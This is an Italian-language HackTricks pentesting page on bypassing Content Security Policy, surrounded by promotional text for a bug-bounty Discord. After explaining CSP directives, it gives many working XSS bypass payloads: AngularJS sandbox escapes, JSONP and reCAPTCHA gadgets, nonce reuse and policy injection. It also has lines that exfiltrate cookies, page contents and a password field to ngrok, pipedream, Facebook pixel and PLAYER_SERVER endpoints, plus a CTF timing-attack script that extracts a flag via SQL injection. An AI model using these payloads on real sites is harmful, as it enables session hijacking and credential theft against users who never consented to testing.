Content Security Policy (CSP) Bypass

Supporta HackTricks

Unisciti al Discord di HackenProof per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie di Hacking in Tempo Reale Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

Ultimi Annunci Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Cos'è il CSP

La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a proteggere contro attacchi come il cross-site scripting (XSS). Funziona definendo e dettagliando i percorsi e le fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come eval, setTimeout o setInterval.

L'implementazione del CSP avviene tramite header di risposta o incorporando elementi meta nella pagina HTML. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.

  • Implementato tramite header di risposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementato tramite meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP può essere applicato o monitorato utilizzando questi header:

  • Content-Security-Policy: Applica il CSP; il browser blocca eventuali violazioni.

  • Content-Security-Policy-Report-Only: Utilizzato per il monitoraggio; riporta le violazioni senza bloccarle. Ideale per testare in ambienti pre-produzione.

Defining Resources

CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di eval(). Un esempio di policy è:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direttive

  • script-src: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.

  • default-src: Imposta una politica predefinita per il recupero delle risorse quando le direttive di recupero specifiche sono assenti.

  • child-src: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.

  • connect-src: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.

  • frame-src: Limita gli URL per i frame.

  • frame-ancestors: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come <frame>, <iframe>, <object>, <embed> e <applet>.

  • img-src: Definisce le fonti consentite per le immagini.

  • font-src: Specifica fonti valide per i font caricati utilizzando @font-face.

  • manifest-src: Definisce le fonti consentite per i file di manifest dell'applicazione.

  • media-src: Definisce le fonti consentite per il caricamento di oggetti multimediali.

  • object-src: Definisce le fonti consentite per gli elementi <object>, <embed> e <applet>.

  • base-uri: Specifica gli URL consentiti per il caricamento utilizzando elementi <base>.

  • form-action: Elenca gli endpoint validi per l'invio di moduli.

  • plugin-types: Limita i tipi mime che una pagina può invocare.

  • upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.

  • sandbox: Applica restrizioni simili all'attributo sandbox di un <iframe>.

  • report-to: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.

  • worker-src: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.

  • prefetch-src: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.

  • navigate-to: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)

Fonti

  • *: Consente tutti gli URL tranne quelli con schemi data:, blob:, filesystem:.

  • 'self': Consente il caricamento dallo stesso dominio.

  • 'data': Consente il caricamento di risorse tramite lo schema data (ad es., immagini codificate in Base64).

  • 'none': Blocca il caricamento da qualsiasi fonte.

  • 'unsafe-eval': Consente l'uso di eval() e metodi simili, non raccomandato per motivi di sicurezza.

  • 'unsafe-hashes': Abilita gestori di eventi inline specifici.

  • 'unsafe-inline': Consente l'uso di risorse inline come <script> o <style> inline, non raccomandato per motivi di sicurezza.

  • 'nonce': Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).

  • Se hai un'esecuzione JS limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con doc.defaultView.top.document.querySelector("[nonce]") e poi riutilizzarlo per caricare uno script malevolo (se strict-dynamic è utilizzato, qualsiasi fonte consentita può caricare nuove fonti quindi questo non è necessario), come in:

Carica script riutilizzando nonce
  • 'sha256-<hash>': Aggiunge alla whitelist gli script con un hash sha256 specifico.

  • 'strict-dynamic': Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.

  • 'host': Specifica un host specifico, come example.com.

  • https:: Limita gli URL a quelli che utilizzano HTTPS.

  • blob:: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).

  • filesystem:: Consente il caricamento di risorse dal filesystem.

  • 'report-sample': Include un campione del codice violante nel rapporto di violazione (utile per il debug).

  • 'strict-origin': Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle fonti corrisponda al documento (solo origini sicure possono caricare risorse da origini sicure).

  • 'strict-origin-when-cross-origin': Invia URL completi quando si effettuano richieste della stessa origine, ma invia solo l'origine quando la richiesta è cross-origin.

  • 'unsafe-allow-redirects': Consente il caricamento di risorse che reindirizzeranno immediatamente a un'altra risorsa. Non raccomandato poiché indebolisce la sicurezza.

Regole CSP Non Sicure

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funzionante: "/><script>alert(1);</script>

self + 'unsafe-inline' tramite Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Questo non funziona, per maggiori informazioni controlla questo.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funzionante:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se riesci in qualche modo a far sì che un codice JS consentito crei un nuovo tag script nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il nuovo tag script sarà autorizzato ad essere eseguito.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funzionante:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Mancanza di object-src e default-src

Sembra che questo non funzioni più

Content-Security-Policy: script-src 'self' ;

Payload funzionanti:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Caricamento file + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se puoi caricare un file JS, puoi eludere questo CSP:

Payload funzionante:

"/>'><script src="/uploads/picture.png.js"></script>

Tuttavia, è altamente probabile che il server stia convalidando il file caricato e permetterà solo di caricare determinati tipi di file.

Inoltre, anche se potessi caricare un codice JS all'interno di un file utilizzando un'estensione accettata dal server (come: script.png), questo non sarà sufficiente perché alcuni server come il server apache selezionano il tipo MIME del file in base all'estensione e browser come Chrome rifiuteranno di eseguire codice Javascript all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che Apache non conosce l'estensione .wave, quindi non la serve con un tipo MIME come audio/*.

Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un estensione mal interpretata, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot (alcuni esempi di polyglot qui).

Form-action

Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali iniettando un'azione del modulo (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un esempio in questo rapporto. Inoltre, nota che default-src non copre le azioni del modulo.

Endpoint di terze parti + ('unsafe-eval')

Per alcuni dei seguenti payload unsafe-eval non è nemmeno necessario.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carica una versione vulnerabile di angular ed esegui JS arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + una libreria con funzioni che restituiscono l'oggetto window (guarda questo post):

Il post mostra che puoi caricare tutte le librerie da cdn.cloudflare.com (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e controllare quali funzioni di quali librerie restituiscono l'oggetto window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS da un nome di classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusare del codice JS di google recaptcha

Secondo questo writeup CTF puoi abusare di https://www.google.com/recaptcha/ all'interno di un CSP per eseguire codice JS arbitrario bypassando il CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

More payloads from this writeup:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abusare di www.google.com per redirect aperto

Il seguente URL reindirizza a example.com (da qui):

https://www.google.com/amp/s/example.com/

Abusare di *.google.com/script.google.com

È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come è fatto in questo rapporto.

Endpoint di terze parti + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenari come questo in cui script-src è impostato su self e un dominio particolare che è nella whitelist possono essere elusi utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.

La stessa vulnerabilità si verificherà se l'endpoint fidato contiene un Open Redirect perché se l'endpoint iniziale è fidato, i redirect sono fidati.

Abusi di Terze Parti

Come descritto nel seguente post, ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:

EntitàDominio ConsentitoCapacità

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.

Ad esempio, se trovi la seguente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

or

Content-Security-Policy​: connect-src www.facebook.com;​

Dovresti essere in grado di esfiltrare dati, similmente a come è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:

  1. Crea un account sviluppatore Facebook qui.

  2. Crea una nuova app "Facebook Login" e seleziona "Sito web".

  3. Vai su "Impostazioni -> Base" e ottieni il tuo "App ID".

  4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.

  5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.

Poi, dal lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook per puntare all'app-id dell'account sviluppatore dell'attaccante e emettere un evento personalizzato come questo:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Fai riferimento al precedente blog post per ulteriori spiegazioni su altri abusi di terze parti.

Bypass tramite RPO (Relative Path Overwrite)

Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.

Ad esempio, se CSP consente il percorso https://example.com/scripts/react/, può essere bypassato come segue:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Il browser caricherà infine https://example.com/scripts/angular/angular.js.

Questo funziona perché per il browser stai caricando un file chiamato ..%2fangular%2fangular.js situato sotto https://example.com/scripts/react/, che è conforme al CSP.

∑, lo decodificheranno, richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js, che è equivalente a https://example.com/scripts/angular/angular.js.

Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse.

La soluzione è non trattare %2f come / sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.

Esempio online: https://jsbin.com/werevijewa/edit?html,output

Esecuzione JS negli Iframes

Iframes in XSS, CSP and SOP

mancante base-uri

Se la direttiva base-uri è mancante, puoi abusarne per eseguire un dangling markup injection.

Inoltre, se la pagina sta caricando uno script utilizzando un percorso relativo (come <script src="/js/app.js">) utilizzando un Nonce, puoi abusare del tag base per farlo caricare lo script dal tuo server, ottenendo un XSS. Se la pagina vulnerabile è caricata con httpS, utilizza un URL httpS nella base.

<base href="https://www.attacker.com/">

AngularJS eventi

Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico $event, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto $event può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto $event/event possiede un attributo path, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto window invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.

Dirigendo questo array al filtro orderBy, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto window) per attivare una funzione globale come alert(). Il frammento di codice dimostrato di seguito illustra questo processo:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Questo frammento evidenzia l'uso della direttiva ng-focus per attivare l'evento, utilizzando $event.path|orderBy per manipolare l'array path, e sfruttando l'oggetto window per eseguire la funzione alert(), rivelando così document.cookie.

Trova altri bypass di Angular in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e dominio autorizzato

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile su questo git repository.

Payload funzionanti:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Altri endpoint di esecuzione arbitraria JSONP possono essere trovati qui (alcuni di essi sono stati rimossi o corretti)

Bypass tramite Reindirizzamento

Cosa succede quando CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un'origine diversa che non è consentita, fallirà comunque.

Tuttavia, secondo la descrizione in CSP spec 4.2.2.3. Percorsi e Reindirizzamenti, se il reindirizzamento porta a un percorso diverso, può eludere le restrizioni originali.

Ecco un esempio:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se il CSP è impostato su https://www.google.com/a/b/c/d, poiché il percorso è considerato, sia gli script /test che /a/test saranno bloccati dal CSP.

Tuttavia, il finale http://localhost:5555/301 sarà reindirizzato sul lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Poiché si tratta di un reindirizzamento, il percorso non è considerato, e lo script può essere caricato, bypassando così la restrizione del percorso.

Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.

Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.

Bypass CSP con markup pendente

Leggi come qui.

'unsafe-inline'; img-src *; tramite XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e img-src * significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.

Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS abusa di un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Potresti anche abusare di questa configurazione per caricare codice javascript inserito all'interno di un'immagine. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti creare un immagine speciale, caricarla su Twitter e abusare del "unsafe-inline" per eseguire un codice JS (come un normale XSS) che caricherà l'immagine, estrarrà il JS da essa e lo eseguirà: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con i Service Workers

La funzione importScripts dei service workers non è limitata dal CSP:

Abusing Service Workers

Iniezione di Politica

Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se un parametro inviato da te viene incollato all'interno della dichiarazione della politica, allora potresti modificare la politica in qualche modo che la renda inutile. Potresti permettere script 'unsafe-inline' con uno di questi bypass:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Perché questa direttiva sovrascriverà le direttive script-src esistenti. Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge è molto più semplice. Se puoi aggiungere nel CSP solo questo: ;_ Edge scarterà l'intera politica. Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Attacco temporale

Nota l'assenza della direttiva 'unsafe-inline' Questa volta puoi far caricare alla vittima una pagina sotto il tuo controllo tramite XSS con un <iframe. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi controllare il tempo necessario per caricare la pagina puoi estrarre le informazioni di cui hai bisogno.

Questa volta un flag verrà estratto, ogni volta che un carattere viene indovinato correttamente tramite SQLi la risposta richiede più tempo a causa della funzione di sleep. Poi, sarai in grado di estrarre il flag:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser. Questo bookmarklet conterrebbe codice javascript malevolo che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, bypassando CSP e permettendo di rubare informazioni sensibili come cookie o token.

Per ulteriori informazioni controlla il rapporto originale qui.

Bypass CSP limitando CSP

In questo writeup CTF, CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che vietava il caricamento di un file JS specifico che, poi, tramite inquinamento del prototipo o dom clobbering permetteva di abusare di uno script diverso per caricare uno script arbitrario.

Puoi limitare un CSP di un Iframe con l'attributo csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In questo CTF writeup, è stato possibile tramite HTML injection ristretta ulteriormente una CSP in modo che uno script che preveniva CSTI fosse disabilitato e quindi la vulnerabilità è diventata sfruttabile. La CSP può essere resa più restrittiva utilizzando HTML meta tags e gli script inline possono disabilitare rimuovendo l'entry che consente il loro nonce e abilitare script inline specifici tramite sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

Se riesci a far sì che il server risponda con l'intestazione Content-Security-Policy-Report-Only con un valore controllato da te (forse a causa di un CRLF), potresti farlo puntare al tuo server e se avvolgi il contenuto JS che desideri esfiltrare con <script> e poiché è altamente probabile che unsafe-inline non sia consentito dal CSP, questo attiverà un errore CSP e parte dello script (contenente le informazioni sensibili) sarà inviata al server da Content-Security-Policy-Report-Only.

Per un esempio controlla questo writeup CTF.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • Un iframe viene creato che punta a un URL (chiamiamolo https://example.redirect.com) che è permesso da CSP.

  • Questo URL poi reindirizza a un URL segreto (ad esempio, https://usersecret.example2.com) che non è consentito da CSP.

  • Ascoltando l'evento securitypolicyviolation, si può catturare la proprietà blockedURI. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.

È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.

Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere impostato per facilitare questo metodo:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.

Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leak informazioni sensibili.

Trick da qui.

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Hacking Insights Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Real-Time Hack News Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Latest Announcements Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Tecnologie non sicure per bypassare il CSP

Errori PHP quando ci sono troppi parametri

Secondo la ultima tecnica commentata in questo video, inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi header() definito nel codice web PHP non verrà inviato a causa dell'errore che questo genererà.

Sovraccarico del buffer di risposta PHP

PHP è noto per bufferizzare la risposta fino a 4096 byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo dati sufficienti all'interno degli avvisi, la risposta verrà inviata prima dell'header CSP, causando l'ignoranza dell'header. Quindi, la tecnica consiste fondamentalmente nel riempire il buffer di risposta con avvisi in modo che l'header CSP non venga inviato.

Idea da questo writeup.

Riscrivi la pagina di errore

Da questo writeup sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) in un endpoint di una pagina per sfruttare altri endpoint della stessa origine. Questo avviene caricando l'endpoint vulnerabile da una pagina dell'attaccante e poi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera sfruttare. In questo modo, l'endpoint vulnerabile può utilizzare l'oggetto opener nel payload per accedere al DOM dell'endpoint reale da sfruttare. Per ulteriori informazioni, controlla:

SOME - Same Origin Method Execution

